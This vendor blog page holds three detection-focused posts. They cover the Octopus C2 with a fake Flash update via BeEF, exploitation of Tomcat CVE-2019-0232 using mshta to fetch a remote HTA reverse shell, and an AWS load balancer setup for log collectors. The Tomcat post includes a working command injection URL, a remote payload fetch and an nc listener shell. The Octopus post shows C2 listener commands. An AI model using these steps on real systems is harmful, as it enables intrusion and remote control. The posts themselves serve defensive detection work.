Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > Author: Marco Meli

RSA NetWitness Platform

3 Posts authored by: Marco Meli Employee


Octopus was presented at Black Hat London 2019 by Askar. The github page is available here. It is a pre-operation C2  for Red Teamers, based on HTTP/S and written in python. This blog post will show the detection of Octopus (over http) with NetWitness Endpoint and Network.



The attacker sets up an HTTP listener in Octopus and generates an exe payload. He then builds a webpage where he embeds the payload and spreads the webpage through social media and email spam campaigns. The victim opens the webpage from his Windows 10 machine and a pop-up message is immediately shown on the browser stating the current version of Adobe Flash plugin is outdated and needs to be updated to install latest security patches. Thus the victim clicks on the pop-up and installs the update which infects his machine.


Part 1 -  Attack phase

Once Octopus is started this is how the attacker creates a listener and generates the payload, in this case an exe payload (hta and powershell payloads are also an option):



More in detail we have:

listen_http listen_ip port hostname interval page listener_name
generate_unmanaged_exe listener_name output_path

The attacker uses the popular ngrok tunneling service as a proxy, that is once the victim machine is infected it will communicate with the address which will  in turn create a secure tunnel to the attacker box.


Next the attacker uses a technique known as browser hooking to embed the exe file into a webpage. To achieve this the attacker used the BeEF framework. Explaining this whole process is out of the scope of this post but if you are interested to know more about it you should have a look at the  Autorun Rule Engine BeEF github page.


The victim, using a Windows 10 machine, sees an interesting website about organic food on social medias and clicks on the webpage:



As shown above once the webpage is loaded a message pops up warning to install a new version of Adobe Flash plugin which included new security updates. Interestingly the message also warns to ignore the missing certificate signature and that it is a known issue which Adobe is working on.



The victim then clicks on Install missing Plugins and then on Run ignoring the signature warning as advised. Windows Defender is activated and did not detect the exe file.


On the other side of the wall the attacker receives a connection to the listener.


To interact with the victim the attacker runs the following command:

interact 1

where 1 is number of the session.


The attacker also runs some other commands such as "whoami", "quser", and "report". The latter is a command built-in in Octopus which provides some additional information about the victim machine. After a little of browsing within the victim machine folders the attacker also finds a file containing potential sensitive information (TopSecret.txt) and downloads it using Octopus download command.


Part 2 - Detection phase with the RSA NetWitness Platform

NetWitness Endpoint

The analyst receives an email alert about a high priority incident generated in the NetWitness Respond module so he starts investigating:



The incident is generated by the NetWitness Endpoint incident rule "High Risk Alerts: NetWitness Endpoint".  However, the rule originates from an App Rule which is part of a bundle content pack available in RSA Live. More information about this bundle is available here.


The App Rule condition is the following:

device.type = 'nwendpoint' && category = 'network event' && context = 'network.outgoing' && direction = 'outbound' && context != 'network.nonroutable' && context.src = 'file.unsigned' && dir.path.src = 'appdatalocal','appdataroaming'

and it basically alerts if an unsigned file initiated from the Windows AppData/local or AppData/roaming directory has made an outbound network connection. The alert in turn generates an incident since it is marked with High Risk.


It is apparent from the incident that the file adobe_flash_update.exe made a connection to which is the name of the ngrok server the attacker uses to tunnel the connection to his machine. The fact that file is unsigned and makes a connection to a website that is not from Adobe makes things extremely suspicious.

Drilling down into the events with NetWitness Endpoint and analyzing them in details the analysts also notices this:



which clearly shows the adobe_flash_update.exe spawned few other processes among which whoami.exe and quser.exe that are Windows utilities typically used by attackers for enumeration. 


NetWitness Network

With the information retrieved from the incident, the analyst investigates further with NetWitness Network filtering by hostname:


The analyst notices some potentially malicious HTTP requests under the Service Analysis meta key. While analyzing these meta keys he finds the following event under the "http1.1 without user-agent header" meta value.



The above is the initial communication of the victim machine with the Octopus C2. Note that "home.php" in the GET request is the name the attacker used in the command to setup the listener we saw in the beginning. The response to the request contains a powershell payload that intends to setup the communication with the C2 . We can see an AES key and its Initialization Vector used to encrypt the communication. This structure looks very similar to the Ninja C2, described by my colleague Lee Kirkpatrick in another blog post available here.


After the agent/C2 communication has been setup the next request is the "GET /login" where the encrypted communication is established:



each further request is a beacon to the C2 and the analyst notices that the request includes the victim machine name "WINEP1" followed by a 5 characters random name:



The below two requests show the command quser launched from the C2 in the previous steps and its response (the response is contained on a separate GET request):


Note that when the C2 requests something we see "/bills" in the GET request.


The below figure shows the decryption of the above strings using the powershell decryption function seen in the very first request (GET /home.php):


With the same process the analyst was able to see other commands the attacker ran but more importantly was able to see the attacker exfiltrated a file named TopSecret.txt from the infected machine:



The beaconing pattern can also be observed with 120 seconds intervals and same size:



It is important to note different destination IP addresses in the above figure. This is because ngrok resolves to different IP addresses in round robin.


Another interesting thing to note is that the URL parameters we saw in the GET requests can be customized via  the Octopus file:



# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"

# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"

# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"

# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries
auto_kill = 10


Lastly, while inspecting the network for C2 traffic the analyst  finds the following:



These are HTTP beacons. Requests are sent on port 3000 which is the default port the BeEF framework uses.



Looking at one of the sessions the analyst sees it contains several requests like the one in the above screenshot. In the Referer field we can see the address of the phishing website used by the attacker and the GET request contains the hook to the BeEF C2. The victim will be hooked to the C2 until he closes the browser. The attacker can leverage the hook to performs social engineering attacks like the fake Adobe Flash update among many others.



A client-side attack vector was used to get initial foothold to the victim machine. Once the victim opened the legitimate-looking webpage his browser was "hooked" to the attacker BeEF C2. The attacker had also set an automatic rule that pushed a fake pop-up message suggesting the victim to install Adobe Flash security updates. Once the victim installed the fake Adobe Flash update the incident was created in NetWitness Respond module because of the App Rule discussed earlier.

Threat actors usually use multiple techniques to distribute their malicious payloads. What would have happened if the user had downloaded the file by a different mean on his machine? The same incident would have probably not been generated in NetWitness because that specific app rule relied on the fact that an unsigned file was started from appdatalocal directory in Windows. However, even without the incident the analysts would have identified suspicious network activity with NetWitness Network such as the beaconing to the C2 and also indicators of compromise and suspicious activities in NetWitness Endpoint . For example, the Behavior of Compromise meta key of NetWitness Endpoint would have shown following values:


    queries users logged on local system (1)  related to the whoami command
    gets current username (1)    related to the quser command


The same applies if the attacker had set an HTTPS listener instead of the HTTP one. In this case the analysts would not have been able to see the content of the communication between the C2 and the victim (unless there is an interceptor in place) but they would have noticed the beaconing and the indicators of compromise in NetWitness Endpoint.



Octopus is quite new but showed similarities to other recent C2 frameworks. It is customizable and modular (external modules can be plugged-in) and can run both on HTTP and HTTPS. This article showed that the NetWitness Suite can be of great use when it comes to C2 detection with the combination of both NetWitness Network and Endpoint by providing a very granular level of visibility. In the case of HTTPS an SSL/TLS interceptor would help providing more visibility but without it NetWitness can still identify C2 patterns and indicators of compromise that will help analysts detect potential malicious activities.

What are LotL tactics?

Living-Off-The-Land tactics are those that involve the use of legitimate tools for malicious purposes. This is an old concept but a recent growing trend among threat actors because these types of techniques are very difficult to detect considering that the tools used are whitelisted most of the time. A good list of applications that can be used for these type of tactics can be found at LOLBAS (Windows) and GTFOBins (UNIX).



The first part of this article will show how an attacker is able to spot and exploit a recent RCE (Remote Code Execution) vulnerability for Apache Tomcat. We will see how the attacker will eventually be able to get a reverse shell using a legitimate Windows utility mshta.exe. The second part will focus on the detection phase leveraging the RSA NetWitness Platform.



The attacker has targeted an organization we will call examplecorp throughout this blog post. During the enumeration phase, thanks to resources such as Google dorks, and nmap, the attacker has discovered the company runs a Tomcat server which is exposed to the Internet. Upon further research, the attacker finds a vulnerability and successfully exploits it in order to obtain a reverse shell, which will serve as the foundation for his malicious campaign against examplecorp


To achieve what has been described in the above scenario the attacker uses different tools and services:


The scenario is simulated on a virtual local environment. Below is a list of the IP addresses used:

  •  --> attacker machine (Kali Linux)
  •    --> victim/examplecorp machine  (Windows host where Tomcat is running)
  •  --> remote server where the attacker stored the malicious payload (shell.hta)


Part 1 - Attack phase

With enumeration tools such as nmap, gobuster, etc., the attacker discovers that the Tomcat server is on version 9.0.17, it is running on Windows and it serves a legacy application through a CGI Servlet at the following address:


Hello World!

In our example the application will be as simple as "Hello, World!" but will be something else in reality.


Upon further research the attacker discovers a vulnerability (CVE-2019-0232) in the CGI Servlet component of Tomcat prior to version 9.0.18. A detailed description of the vulnerability can be found here at the following links:


With a simple test the attacker can verify the vulnerability. Just by adding ?&dir at the end of the URL the attacker can see the output of the dir command on the affected Windows server Tomcat is running on.

root@kali:~# curl ""
Hello, World!
Volume in drive C has no label.
Volume Serial Number is 4033-77BA

Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi

19/12/2019  13:27    <DIR>          .
19/12/2019  13:27    <DIR>          ..
17/12/2019  15:00    <DIR>          %SystemDrive%
16/12/2019  21:37                67 app.bat
19/12/2019  13:19                21
               2 File(s)             88 bytes
               3 Dir(s)  39,850,405,888 bytes free


Now the attacker decides to create a malicious payload that will spawn a remote shell. To do that, he uses a tool dubbed WeirdHTA that allows to create an obfuscated remote shell in hta format that he can then invoke remotely using the Microsoft mshta utility. The attacker tests the file with the most common anti virus software to ensure is properly obfuscated and not detected before initiating the attack.



The attacker launches the below command to connect to the remote server and run the malicious payload:

root@kali:~# curl -v ""
*   Trying
* Connected to ( port 8080 (#0)
> GET /cgi/app.bat?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta HTTP/1.1
> Host:
> User-Agent: curl/7.66.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain
< Content-Length: 15
< Date: Fri, 31 Jan 2020 10:44:16 GMT
Hello, World!
* Connection #0 to host left intact


If we break this command down we can see the following:

  1. curl -v "
      The above is the URL of the Tomcat server where the CGI Servlet app (app.bat) resides
  2. ?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+
      The second part is a URL-encoded string that decodes to C:\Windows\System32\mshta.exe
  3. http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta"
    This last part is the URL-encoded address of the remote location ( where the attacker keeps the malicious payload, that is shell.hta.


The attacker, who had created a listener on his remote server, obtains the shell:

root@kali:~# nc -lvnp 7777
listening on [any] 7777 ...
connect to [] from (UNKNOWN) [] 50057
Client Connected...

PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi> dir

    Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi

Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
d-----       17/12/2019     15:00                %SystemDrive%                                                        
-a----       16/12/2019     21:37             67 app.bat                                                              
-a----       19/12/2019     13:19             21                                                             

PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi>


Part 2 - Detection phase with the RSA NetWitness Platform

While investigating with RSA NetWitness Endpoint the analyst notices the Behaviors of Compromise meta key populated with the value runs mshta with http argument, which is unusual.



Filtering by the runs mshta with http argument indicator, the analyst observes that an application running on Tomcat is launching mshta which in turn is calling an hta file residing on a remote server (



Drilling into these sessions using the event analysis panel, the analyst is able to confirm the events in more detail:

  1. app.bat ( running on machine with hostname winEP1 and IP
  2. created the process
  3. called mshta.exe
  4. mshta.exe runs with the parameter


The analyst, knowing the affected machine IP address, decides to dig deeper with the RSA NetWitness Platform using the network (i.e. packet) data.


  1. Investigating around the affected machine IP in the same time range, the analysts notices the IP address (attacker) connecting to Tomcat on port 8080 (to test whether the server is vulnerable to CVE-2019-0232) by adding the dir command to the URL. He can also see the response.

  2. Immediately after the first event, the analyst notices the same IP address connecting on the same port but this time using a more complex GET request which seems to allude to malicious behavior.

  3. Now the analysts filters by ip.dst= (the IP address found in the GET request above) and he is able to see the content of the shell.hta file. Although it is encoded and not human-readable it is extremely suspicious!

  4. Next, the analysts filters by ip.dst= and he eventually sees that the attacker has obtained shell access (through PowerShell) to the windows machine where Tomcat resides.



LotL tactics are very effective and difficult to detect due to the legitimate nature of the tools used to perform such attacks. Constant monitoring and proactive threat hunting are vital for any organization. The RSA NetWitness Platform provides analysts with the visibility needed to detect such activities, thus reducing the risk of being compromised.

If you need to achieve HA through load balancing and failover for VLCs on AWS you can use the built-in AWS load balancer. I have tested this scenario so I am going to share the outcome here.


Before starting I need to state that VLCs failover/balancing  is not an RSA officially supported functionality. Furthermore this can only work with "push" collections such as syslog, snmp, etc. It does not work with "pull" collections such us Windows, Checkpoint, ODBC, etc. (at least not that I am aware of and I have personally never tested it).


That being said, let's get started.


As you may be aware, in AWS EC2 you have separate geographic areas called Regions (I am using US East - N.Virgina here) and within regions you have different isolated locations called Availability Zones.



We are going to leverage this concept and we will place two VLCs into two different Availability Zones. If one VLC fails we will have the VLC in the other Availability Zone to take over.


The following diagram helps understanding the scenario (for better clarity I omitted the data flow from the VLCs to the Log Decoder/s):


Assuming you have already deployed the two VLC instances, the next step to do is creating two different subnets and associate two different Availability Zones to each of them .


  • From the AWS Virtual Private Cloud (VPC) menu go to Subnets and start creating the two subnets:



  • Next we need to create a Target Group (from the EC2 menu) which will be used to route requests to our registered targets (the VLCs):



  • Finally we need to create the load balancer itself. For this specific test I have used a Network Load Balancer but I think an Application Load Balancer would work too. I selected an internal balancer. I chose syslog on TCP port 514 so I created a listener for that. Actually, the AWS load balancer does not support UDP so I was forced to use TCP, however I would have used syslog over TCP anyway as it is more robust and reliable and large syslog messages can be transferred (especially if it is a production environment). I also select the appropriate VPC and the Availability Zones (and subnets) accordingly.  



In the advanced health check settings I chose to use port 5671 (by default the balancer would have used the same as the listener, 514). The reason of using 5671 is because the whole log collection mechanism works with rabbitmq which uses this port. In fact the only scenario 514 would not work is when the VLC instance is down or if we stop the syslog collection. I think rabbitmq is more prone to failures and may fail in more scenarios, such as queues filling up because the decoder is not consuming the logs, full partitions, network issues, etc. 



  • Once the load balancer configuration is finished you will see something similar:



           We need to take note of the DNS A Record as this is what our event sources will use to send syslog traffic to.


  • Now to configure an event source to send syslog logs to the load balancer you just need to point the event source to the load balancer DNS A Record. As an example, for a Red Hat Linux machine you should edit the /etc/rsyslog.conf file as follow:




         We are using @@ because is TCP, for UDP it's just one @.


         Then we need to restart the rsyslog service as follow:


            --> service rsyslog restart (Red Hat 6)

            --> systemctl restart rsyslog (Red Hat 7)


  • To perform a more accurate and controlled test and demonstration, I am installing a tool on the same event source and I will push some rhlinux logs to the load balancer and see what happens. The tool is an RSA proprietary one and is called NwLogPlayer (more details here How To Replay Logs in RSA NetWitness ). It can be installed via Yum if you have enabled the RSA Netwitness repo:




      I also prepared a rhlinux sample logs file with 14000 events and I am going to inject these to the load balancer and       see what happens. Initially my Log Decoder LogStats page is empty:




     Then I start with the first push of the 14000 events:



     Now I can see the first 14000 events went to VLC2 (


      At my second push I can see the whole chuck going to VC1 (


      At the third push the logs went again to VLC2


     At the fourth push the logs went to VLC1


     At the fifth push, I sent 28000 events (almost simultaneously)  and they get divided to both VLCs


     This demonstrates that the load has been balanced equally between the two VLCs.


     Now I stop VLC1 (I actually stopped the rabbitmq-service on VLC1) and I push other 14000 logs:


     and again


     On both instances above VLC2 received the two chunks of 14000 logs since VLC1 was down. We can safely say            that Failover is working fine!

Note: This configuration is not officially supported by RSA customer support. 

Filter Blog

By date: By tag: